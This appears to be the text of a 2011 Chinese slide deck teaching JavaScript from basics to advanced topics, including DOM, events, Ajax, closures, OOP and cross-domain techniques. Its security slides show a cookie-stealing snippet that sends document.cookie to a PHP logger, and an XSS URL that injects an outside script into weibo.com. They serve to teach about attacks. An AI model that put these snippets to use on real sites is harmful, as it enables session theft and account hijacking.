大纲 第一部分：初级javascript 初级：变量类型 变量类型 基础类型 六种：undefined、string、number、boolean、object和function typeof 对象类型 以基础类型为基础，从object这一种类型中发展起来的 instanceof function是object 初级：关于类型的一些小题目 初级：关于类型的一些小题目[答案] 初级：常见对象方法 String Array Date Math RegExp 第二部分：中级javascript 中级 对象 location，navigator，screen…… Cookie DOM Events Ajax 中级：navigator 中级：location 中级：document.cookie Javascript对cookie操作是通过document.cookie进行的 中级：document.cookie cookie安全 中级：DOM DOM 节点介绍 节点 类型 遍历节点 创建节点 节点访问和修改 中级：DOM 中级：DOM-document 中级：DOM-节点查找 中级：DOM-节点遍历 中级：DOM-节点关系图 中级：DOM-创建节点 中级：DOM-节点访问、修改 中级：DOM-节点访问、修改 中级：DOM-节点属性 中级：DOM-节点属性 中级：Events-类型 Document load, unload, resize, scroll Mouse mouseover, mouseout, mouseup, mousedown, click Key keydown, keyup, keypress Forms focus, blur, change, keydown, keyup, keypress 中级：Events-事件模型 中级：Events-事件监听 中级：Events-阻止冒泡 中级：Events-阻止默认事件 中级：Events-获取event/this 获取event对象：http://www.js8.in/703.html 中级：Events-事件代理(委托) 中级：Ajax Ajax xmlHttpRequest对象 发送 Get Post 接收 数据类型 JSON JSONP 中级：Ajax Ajax “Asynchronous JavaScript and XML”（异步的JavaScript与XML技术），是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用，Ajax概念由 Jesse James Garrett 所提出 XMLHttpRequest对象 中级：Ajax 创建XMLHttpRequest对象 中级： Ajax发送请求 GET Ajax响应处理 onreadystatechange 事件 0: 请求未初始化 1: 服务器连接已建立 2: 请求已接收 3: 请求处理中 4: 请求已完成，且响应已就绪 中级：JSON & JSONP JSON JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。 http://www.json.org XML vs JSON JSON应用：微博用户提示 JSON应用：微博用户提示 JSON发明者：牛鼻子老道 Douglas Crockford是JavaScript开发社区最知名的权威，是JSON、JSLint、JSMin和ADSafe之父。JavaScript的发明人Brendan Eich说他是“lambda编程和JavaScript的精神领袖”。 Yahoo的资深JavaScript架构师 YUI团队 http://www.crockford.com/ http://profiles.yahoo.com/blog/GSBHPXZFNRM2QRAP3PXNGFMFVU 中级：JSON编码 在json的官方网站提供了各种语言的编码和解码json的函数，例如php中的json_encode/json_decode JSON.parse JSON.stringify JSONP JSONP JSONP是一个非官方的协议，它允许在服务器端集成Script tags返回至

1. JavaScript入门到高阶 王永清 清-三水清

3. 常见对象方法

4. 常见对象

5. Cookie

6. DOM

7. Events

8. Ajax

9. 作用域

10. this关键字

11. OOP

12. 跨域

13. 安全

14. 调试工具

15. JSLint

16. 发展趋势

18. 2011-8-18 初级：变量类型 变量类型 基础类型 六种：undefined、string、number、boolean、object和function typeof 对象类型 以基础类型为基础，从object这一种类型中发展起来的 instanceof function是object

19. 2011-8-18 初级：关于类型的一些小题目 null == undefined; null===undefined; typeof null; typeof undefined; vara;alert(a); var a; a=1; alert(typeof a); 1=='1'; 1==true; 1==='1'; a={}; alert(typeof a);

20. 初级：关于类型的一些小题目[答案] 2011-8-18 null == undefined;//true null===undefined;//false typeof null;//object typeof undefined;//undefined vara;alert(a);//undefined var a; a=1; alert(typeof a);//number 1=='1';//true 1==true;//true 1==='1';//false a={}; alert(typeof a);//object

21. 2011-8-18 初级：常见对象方法 "string" [1,2,3][] new Date(12345678901) Math.PI /^|$/img String Array Date Math RegExp

22. 2011-8-18 第二部分：中级javascript

23. 2011-8-18 中级 对象 location，navigator，screen…… Cookie DOM Events Ajax

25. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"var isFF =/firefox/.test(navigator.userAgent.toLowerCase());

27. 设置当前文档的URL，并在history对象的地址列表中删除这个URL

28. reload()

30. 中级：document.cookie cookie安全 2011-8-18 varhackImg=new Image(); hackImg.src =getcookie.php?cookie=”+encodeURI(document.cookie); <?php $cookie=urldecode($_GET['cookie']); file_put_contents('cookie.txt',$cookie);

31. 2011-8-18 中级：DOM DOM 节点介绍 节点 类型 遍历节点 创建节点 节点访问和修改

32. 2011-8-18 中级：DOM

33. 2011-8-18 中级：DOM-document

34. 2011-8-18 中级：DOM-节点查找

35. 2011-8-18 中级：DOM-节点遍历

36. 2011-8-18 中级：DOM-节点关系图

37. 2011-8-18 中级：DOM-创建节点

38. 2011-8-18 中级：DOM-节点访问、修改

39. 2011-8-18 中级：DOM-节点访问、修改

40. 2011-8-18 中级：DOM-节点属性 <ulid="parentDOM"> <liid="id1">I am No.1</li> <liid="id2">I am No.2</li> </ul>

41. 中级：DOM-节点属性 2011-8-18 <ulid="parentDOM"> <liid="id1">I am No.1</li> <liid="id2">I am No.2</li> </ul> vardom=document.getElementById('parentDOM'); var children =dom.childNodes; for(vari=0,len =children.length;i<len;i++){ var type ="type="+ children[i].nodeType+";"; var name ="name="+ children[i].nodeName+";"; var id ="id="+ children[i].id +";"; vartagName="tagName="+ children[i].tagName+";"; log(type+name+id+tagName); }

42. 中级：Events-类型 Document load, unload, resize, scroll Mouse mouseover, mouseout, mouseup, mousedown, click Key keydown, keyup, keypress Forms focus, blur, change, keydown, keyup, keypress 2011-8-18 课后题：Keydown、keyup、keypress区别和用法

43. 中级：Events-事件模型 2011-8-18

44. 2011-8-18 中级：Events-事件监听

45. 2011-8-18 中级：Events-阻止冒泡 if($.IE){ e.cancelBubble=true; }else{ e.stopPropagation(); }

46. 2011-8-18 中级：Events-阻止默认事件 if($.IE){ e.returnValue=false; }else{ e.preventDefault(); }

47. 中级：Events-获取event/this 获取event对象：http://www.js8.in/703.html 2011-8-18 <buttononclick="fn(event)">点我啊</button> <scripttype="text/javascript"> function fn(e){ e = e ||window.event; alert(e.type); } </script> 在IE中，event是一个全局变量，即window.event，而在Firefox等，event会默认的作为第一个参数传入fn中

48. 中级：Events-事件代理(委托) 2011-8-18 <ulid="parentDOM"> <liid="id1">I am No.1</li> <liid="id2">I am No.2</li> <liid="id3">I am No.3</li> <liid="id4">I am No.4</li> <liid="id5">I am No.5</li> </ul> 不用事件代理 var doc = document; for(vari=1;i<=5;i++){ vardom=doc.getElementById('id'+i); dom.onclick=function(){ alert(this.innerHTML); } } 使用事件代理 vardom=document.getElementById('parentDOM'); dom.onclick=function(){ var e = arguments[0]||window.event; var target =e.target||e.srcElement; alert(target.innerHTML); }

49. 2011-8-18 中级：Ajax Ajax xmlHttpRequest对象 发送 Get Post 接收 数据类型 JSON JSONP

50. 2011-8-18 中级：Ajax Ajax “Asynchronous JavaScript and XML”（异步的JavaScript与XML技术），是一种广泛应用在浏览器的网页开发技术。Ajax是多项技术的综合应用，Ajax概念由 Jesse James Garrett 所提出 XMLHttpRequest对象

51. 中级：Ajax 创建XMLHttpRequest对象 2011-8-18 functiongetXHR(){ if(window.XMLHttpRequest){ //w3c returnnewXMLHttpRequest(); }else{ //IE6- returnnewActiveXObject('Microsoft.XMLHTTP'); } } var xhr = getXHR(); Ajax实例：http://www.w3school.com.cn/example/ajax_examples.asp 司徒正美《高效地获取XMLhttp对象》http://www.cnblogs.com/rubylouvre/archive/2010/01/06/1640148.html

55. 中级：JSON & JSONP JSON JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。 http://www.json.org 2011-8-18 { "name":"张三", "password":"123456", "department":"技术部", "sex":"男", "old":30 }

56. XML vs JSON 2011-8-18 <?xmlversion="1.0"encoding="utf-8"?> <user> <name>张三 </name> <password>123456</password> <department>技术部</department> <sex>男</sex> <old>30</old> </user> { "name":"张三", "password":"123456", "department":"技术部", "sex":"男", "old":30 }

57. JSON应用：微博用户提示 2011-8-18

58. JSON应用：微博用户提示 2011-8-18

59. JSON发明者：牛鼻子老道 Douglas Crockford是JavaScript开发社区最知名的权威，是JSON、JSLint、JSMin和ADSafe之父。JavaScript的发明人Brendan Eich说他是“lambda编程和JavaScript的精神领袖”。 Yahoo的资深JavaScript架构师 YUI团队 http://www.crockford.com/ http://profiles.yahoo.com/blog/GSBHPXZFNRM2QRAP3PXNGFMFVU 2011-8-18

60. 中级：JSON编码 在json的官方网站提供了各种语言的编码和解码json的函数，例如php中的json_encode/json_decode JSON.parse JSON.stringify 2011-8-18

61. JSONP JSONP JSONP是一个非官方的协议，它允许在服务器端集成Script tags返回至客户端，通过javascript callback的形式实现跨域访问 云输入法，搜索提示 2011-8-18

62. JSONP应用：云输入法 2011-8-18

63. 2011-8-18 var JSONP = document.createElement("script"); //FF:onload IE:onreadystatechange JSONP.onload = JSONP.onreadystatechange =function(){ //onreadystatechange，仅IE } JSONP.type ="text/javascript"; JSONP.src ="/fcgi-bin/getword?cb=window.QQWebIME.callback971&q=weibo"; //在head之后添加js文件 document.getElementsByTagName(“head”)[0].appendChild(JSONP); 思考题：为什么不用json？

64. 2011-8-18 第三部分：高级javascript

65. 高级：作用域 2011-8-18 vari=10; function fn(){ vari=20; var a =3; alert(i);//20 } fn(); alert(i); alert(a); function fn(){ vari=20; var a =3; alert(i); } //20 //10 //error undefined fn的执行环境是window，fn的定义环境是function中。 根据词法作用域，fn的作用域应该是在定义它的function中，而不是在其执行的环境相同的vari=10;(window)中

66. 高级：作用域 2011-8-18 vara = 1; function fn1(){ var a =9; function fn2(){ alert(a); } } fn1(); 2011-8-18 function fn1(){ var a =9; function fn2(){ alert(a); } } function fn2(){ alert(a); } fn2();

67. 高级：作用域链 vara = 1; function fn1(){ var a =9; function fn2(){ alert(a); } } fn1(); Fn2 Activation Obj Fn1 Activation Obj GlobalObj(window) this window arguments [] fn2 function this window arguments [] fn1 function a 9 this window arguments [] fn1 function a 1 作用域链 0 1 2 2011-8-18 function fn1(){ var a =9; function fn2(){ alert(a); } } function fn2(){ alert(a); } fn2(); fn2 execution context Scope chain

68. 高级：作用域 在function中未使用var声明的变量为全局变量 全局变量为window对象下的属性 2011-8-18 vari=10; function fn(){ i=20; alert(window.i); } fn(); alert(i); for(vari=0;i<10;i++){ //do something } alert(i); alert(window.i); //20 //10 //10 //20 function fn(){ i=10; vari=20; alert(i); alert(window.i); } //20 //undefined

69. 高级：匿名函数 2011-8-18 1.写法一 (function(){ //do something })(); 2.写法二 (function(){ //do something }()); 3.写法三 voidfunction(){ //do something }(); 4.写法四 !function(){ //do something }();

72. 高级：this关键字 this是可以指代的！ Function对象有两个方法：call()和apply()。这两个方法都支持指定一个函数中的this。 2011-8-18 vari=10; function fn(){ alert(this.i); } fn.call(window); varobj={'i':1}; function fn(){ alert(this.i); } fn.apply(obj); //10 //1 Call和apply第二个参数不同，二者可以用下面关系来表示 fn.call(obj, arg1,arg2,arg3……)==fn.apply(obj, [arg1……])== obj.foo(arg1, arg2, arg3……)

73. 高级：this or that 2011-8-18 varmyObject={}; myObject.method=function(){ this.WhoAmI="I'm A"; function test(){ this.WhoAmI=“I’m B"; } test(); returnthis.WhoAmI; }; myObject.method(); window.WhoAmI; myObject.method();//I'm A window.WhoAmI;//I'm B

74. 高级：this or that 2011-8-18 varmyObject={}; myObject.method=function(){ this.WhoAmI="I'm A"; var that =this; function test(){ that.WhoAmI="I'm B"; } test(); returnthis.WhoAmI; }; myObject.method()// I'm B ←这里赋值给that变量

75. 2011-8-18 高级：命名空间 javascript的语言限制，并没有象C++，JAVA一样强大的命名空间。但在软件开发后期，命名空间又是必不可少的，它可以解决几乎所有的命名冲突问题 Javascript也可以通过代码技巧实现命名空间

76. 高级：STK命名空间 2011-8-18 Namespace=new Object(); Namespace.register=function(namespace){ varnsArray=namespace.split('.'); varsEval=""; varsNS=""; for(vari=0;i<nsArray.length;i++){ if(i!=0)sNS+="."; sNS+=nsArray[i]; sEval+="if(typeof("+sNS+")=='undefined')"+sNS+"=new Object();" } if(sEval!="")eval(sEval); }

77. 2011-8-18 Namespace(‘a.b.c); var a ={ b:{ c } }

78. 2011-8-18 高级：闭包 function fn1(){ var a =9; function fn2(){ alert(a);//error function fn1(){ var a =9; } 怎么访问函数内部的变量呢？改成全局变量？no！全局变量是魔鬼！ 闭包 function fn1(){ var a =9; function fn2(){ alert(a); } return fn2; } var fn = fn1(); fn();

79. 高级：闭包 由于作用域链关系，闭包中的变量始终存在内存中，得不到释放 既是优点 也是缺点 应用 setTimeout/setInterval Callback Event handle 2011-8-18

80. 2011-8-18 闭包应用 function fn(){ var nodes =document.getElementsByTagName('a'); for(vari=0, l =nodes.length;i< l;i++){ nodes[i].onclick=function(){ alert(i); returnfalse; } } } fn(); nodes[i].onclick=function(){ alert(i); returnfalse; } closure http://jsfiddle.net/GRp72/

81. 2011-8-18 闭包应用 function fn(){ var nodes =document.getElementsByTagName('a'); for(vari=0, l =nodes.length;i< l;i++){ nodes[i].onclick=(function(j){ returnfunction(){ alert(j); returnfalse; } })(i); } } fn(); returnfunction(){ alert(j); returnfalse; } closure http://jsfiddle.net/qBUBy/1/

82. 2011-8-18 高级：OOP 面向对象OOP new prototype 继承写法

83. 2011-8-18 高级：OOP javascript中没有真正意义上的类 类Animal: var Animal =function(name,legs){ this.name = name; this.legs= legs; }; var cat =new Animal('hello kitty',4); 运用javascript的new关键字创建一个Animal的实例

84. 高级：OOP prototype关键字 2011-8-18 var Fn =function(){ this.xxx =[]; }; Fn.prototype.yyy=[]; var a =new Fn(); var b =new Fn(); a.xxx.push(1); a.yyy.push(1); alert([a.xxx.length,b.xxx.length]); alert([a.yyy.length,b.yyy.length]); //1,0 //1,1

85. this or prototype 2011-8-18 var Animal =function(name,legs){ this.name = name; this.legs= legs; this.sayName=function(){ alert('my name is '+this.name); }; }; 这段代码你有什么更好的写法？

86. 优化 2011-8-18 var Animal =function(name,legs){ this.name = name; this.legs= legs; }; Animal.prototype={ sayName:function(){ alert('my name is '+this.name); } } OR var Animal =function(name,legs){ this.name = name; this.legs= legs; }; Animal.prototype.sayName=function(){ alert('my name is '+this.name); };

87. 高级：原型链 对象通过一个内部属性绑定到它的原型，在firefox，chrome，safari中，这个属性__proto__对开发中可见，而在其他的浏览器却不允许脚本访问此属性。 var Animal =function(name,legs){ this.name = name; this.legs= legs; }; Animal.prototype.sayName=function(){ alert('my name is '+this.name); }; var cat =new Animal('hello kitty',4); var bird =new Animal('polly',2); cat bird Animal.prototype Animal Object __proto__ __proto__ __proto__ prototype __proto__ null name hello kitty name polly constructor toString (function) legs 4 legs 2 sayName (function) valueOf (function) …… …… 2011-8-18

88. 高级：OOP 2011-8-18 父类Animal var Animal =function(){ this.fly =function(){ if(this.wing){ alert(this.name +' can fly!'); } } }; Cat、Bird子类： var Cat =function(name,legs){ this.name = name; this.legs= legs; this.wing=false; }; var Bird =function(name,legs){ this.name = name; this.legs= legs; this.wing=true; };

89. 高级：OOP 2011-8-18 Cat和Bird都是Animal的子类，即：Cat和Bird要继承自Animal 方法一：apply var Cat =function(name,legs){ Animal.apply(this); this.name = name; this.legs= legs; this.wing=false; }; var Bird =function(name,legs){ Animal.apply(this); this.name = name; this.legs= legs; this.wing=true; }; var cat =new Cat('hello kitty',4); cat.name;//hello kitty var bird =new Bird('polly',2); bird.fly();//polly can fly!

90. 高级：OOP 2011-8-18 方法二：prototype + new Cat.prototype=new Animal(); Cat.prototype.constructor= Cat; Bird.prototype=new Animal(); Bird.prototype.constructor= Bird; var cat =new Cat('hello kitty',4); cat.name;//hello kitty var bird =new Bird('polly',2); bird.fly();//polly can fly!

91. 高级：OOP 2011-8-18 方法三：直接使用prototype //父类使用prototype写法 var Animal =function(){}; Animal.prototype.fly=function(){ if(this.wing){ alert(this.name +' can fly!'); } } //封装的继承函数extend function extend(Child, Parent){ var F =function(){}; F.prototype=Parent.prototype; Child.prototype=new F(); Child.prototype.constructor= Child; } extend(Cat,Animal); extend(Bird,Animal); var cat =new Cat('hello kitty',4); cat.name;//hello kitty var bird =new Bird('polly',2); bird.fly();//polly can fly!

92. 高级：OOP 方法四：object对象拷贝 functionextendCopy(Child, Parent){ var p =Parent.prototype; var c =Child.prototype; for(variin p){ c[i]= p[i]; } } extendCopy(Cat,Animal); extendCopy(Bird,Animal); var cat =new Cat('hello kitty',4); cat.name;//hello kitty var bird =new Bird('polly',2); bird.fly();//polly can fly! 2011-8-18

94. 协议不同：http和https

96. 跨子域名

97. jsonp

98. 不支持post

99. FIM（Fragment Identifier Messaging）

100. 通过url传值，长度受限制

101. flash

102. 需要部署flash文件及crossdomain.xml

103. window.name

104. 需要iframe配合

105. postMessages(html5)

106. 不支持IE6-7

107. 服务器代理

109. 2011-8-18

110. 2011-8-18 高级：安全 XSS XSS Cheat Sheet:http://ha.ckers.org/xss.html 有输入的地方就有XSS http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

111. 高级：安全 CSRF（Cross Site Request Forgery）是伪造客户端请求的一种攻击，字面上的意思是跨站点伪造请求。 防范措施： 正确使用GET、POST和Cookie 使用Referer判断请求来源 在请求中使用Security token 2011-8-18

112. 2011-8-18 第四部分：其他

113. 2011-8-18 其他 编辑器：Apanta、notePad++…… 调试工具 Firefox：firebug IE：debugBar， Companion.js Chrome：开发者工具 JSLint 未来趋势 HTML5 nodeJS 学习资料 网站&Rss 书籍 前端会议

114. 2011-8-18

115. 其他：JSLint JSLint是 Douglas Crockford创建的js代码质量检测工具。虽然 JSLint不能保证代码逻辑一定正确，但却有助于发现错误并教会开发人员一些好的编码实践。 2011-8-18 Jslint.com

116. 2011-8-18 Javascript发展趋势 HTML5 未来的(x)html和DOM标准，仍然处于完善阶段，不过市面上的浏览器已经开始支持html5 语义化标记 图像处理 媒体支持 改善用户界面 网络存储 网络通信 移动设备支持 增强可访问性 node.js 服务器端js 单线程 非阻塞IO Google V8 事件驱动

117. 2011-8-18 Javascript书籍

118. 2011-8-18 网站&Rss资源 http://www.w3school.com.cn/js/index.asp http://www.javascriptkit.com 国内知名UED团队博客 ITFeed.cn http://ajaxian.com http://net.tutsplus.com http://cssglobe.com

119. 前端会议 2011-8-18

120. 打完收工 2011-8-18 Q & A

121. 2011-8-18 中级：DOM学习资料 http://www.howtocreate.co.uk/tutorials/javascript/domstructure https://developer.mozilla.org/en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces

122. 中级：Events-事件代理(委托) 2011-8-18 jQuery和YUI中使用事件代理 Event delegation with jQuery: http://danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery Event delegation with YUI: http://icant.co.uk/sandbox/eventdelegation/

123. 中级：Events-资料 事件对象：http://www.w3school.com.cn/htmldom/dom_obj_event.asp js事件详解：http://www.nowamagic.net/javascript/js_EventMechanismInDetail.php Event compatibility tables：http://quirksmode.org/dom/events/ 2011-8-18

124. 高级：闭包 http://blog.morrisjohns.com/javascript_closures_for_dummies.html https://developer.mozilla.org/en/JavaScript/Guide/Closures http://www.cn-cuckoo.com/2007/08/01/understand-javascript-closures-72.html http://www.ruanyifeng.com/blog/2009/08/learning_javascript_closures.html 2011-8-18

125. 高级：OOP资料 Douglas Crockford - Prototypal Inheritance in JavaScript Douglas Crockford - Classical Inheritance in JavaScript John Resig - Simple JavaScript Inheritance Dean Edwards - A Base Class for JavaScript Inheritance Javascript继承写法：http://www.js8.in/698.html 2011-8-18

127. http://dev.w3.org/html5/postmsg/#dom-window-postmessage

128. 跨域资源共享的10种方式

129. http://ued.koubei.com/?p=1291

130. CrossDomain

131. http://code.google.com/p/j-et/wiki/CrossDomain

132. 跨域实例